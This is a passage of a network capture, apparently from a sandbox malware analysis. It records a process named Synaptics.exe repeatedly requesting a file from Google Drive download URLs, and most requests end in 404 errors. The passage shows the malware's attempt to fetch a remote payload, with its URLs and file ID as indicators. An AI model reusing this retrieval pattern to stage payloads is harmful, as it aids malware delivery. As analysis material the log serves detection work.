Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:04 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-ryvmism6wGN0Zn3ebrQ0MQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:04 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-p3A25K6XQqpKbEcbxl55CQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:04 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-05 23:15:05 UTC	1604	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:05 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-ACimrIn4mQKXcBpCzzgXZw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC4OkQM90g87x0ogIOoNXXuTgM__Oko9TZZfnsSEhRUFDBurBMH8bPoCnvx5h-0rcidgf8bkgHYXHw Server: UploadServer Set-Cookie: NID=519=wilSLc7w7Dl2tqHEbtT-2VS6k3jk7Iz9aDWgnxG_NKdjYnR7Fv2lWVEjWXk8djyUe7clSIELRiK7VxSkkdx0H-xPbobSC0UTy5jaL864-5miEIkrD5W9L3D_3V8H90GosV9tqwseNmDupaSzZ05lq-8Y9O88ZER30fdXD2i_kEfS2n6IA4TzRhM; expires=Fri, 06-Jun-2025 23:15:05 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:15:05 UTC	1604	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 66 51 6d 6c 58 69 61 50 54 62 61 35 31 6f 49 41 65 67 38 53 62 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="fQmlXiaPTba51oIAeg8Sbw">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-12-05 23:15:05 UTC	48	IN	Data Raw: 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:04 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-05 23:15:06 UTC	1604	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:05 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-8yMIWDATcuoFLyusz7g2Ig' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC58iqOV4NgYNO4asFk4dNf2Udx_i6hX944O3kL0osn9sGOX_9MRScHlEejP4V1F7XkRGmCeHGj3rA Server: UploadServer Set-Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk; expires=Fri, 06-Jun-2025 23:15:05 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:15:06 UTC	1604	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 64 6e 4c 51 4e 59 5f 33 78 4f 61 6c 68 6b 50 46 4f 59 52 4c 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6dnLQNY_3xOalhkPFOYRLg">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-12-05 23:15:06 UTC	48	IN	Data Raw: 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49754	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:08 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-BdvFbVUzSXwpLgT23Jkhag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49755	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:08 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-oOrdtRFf15KKEUiAGKpo2g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49766	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:12 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-FBLBsmIoeE_3PbNIyT-EAw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49767	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:12 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:12 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-LBn9ggm-4BbmE23tlPiF7w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49774	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:14 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:15 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-_AJEL8KT3b0mqNBSibMmuQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49775	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:14 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:15:15 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:15 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-io0FNNwtHU18-shtaoyDxw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AFiumC5bk6WIGMbJhaagACpIOn3XF1WMZezwnSGRcXhjMrbovwGvcM9g7hq5-fMCjvPbTLAc3NvXtEGR2g Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:15:15 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:15:15 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 66 61 72 59 78 35 6b 69 5a 67 47 61 71 49 30 75 4c 6a 50 47 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="jfarYx5kiZgGaqI0uLjPGw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:15:15 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49776	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:14 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:15:15 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:15 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-AbV2gDGKdyYx-SKT4V8xlg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AFiumC5-zqFqH1SV7FrZoNoUGc-DoUO8rzvbr4hJJ_IXETFcr2Z2LJ1m8Eneo1CZ2wjw0grJojJrAtrCnQ Server: UploadServer Alt-Svc: h3=":443"; 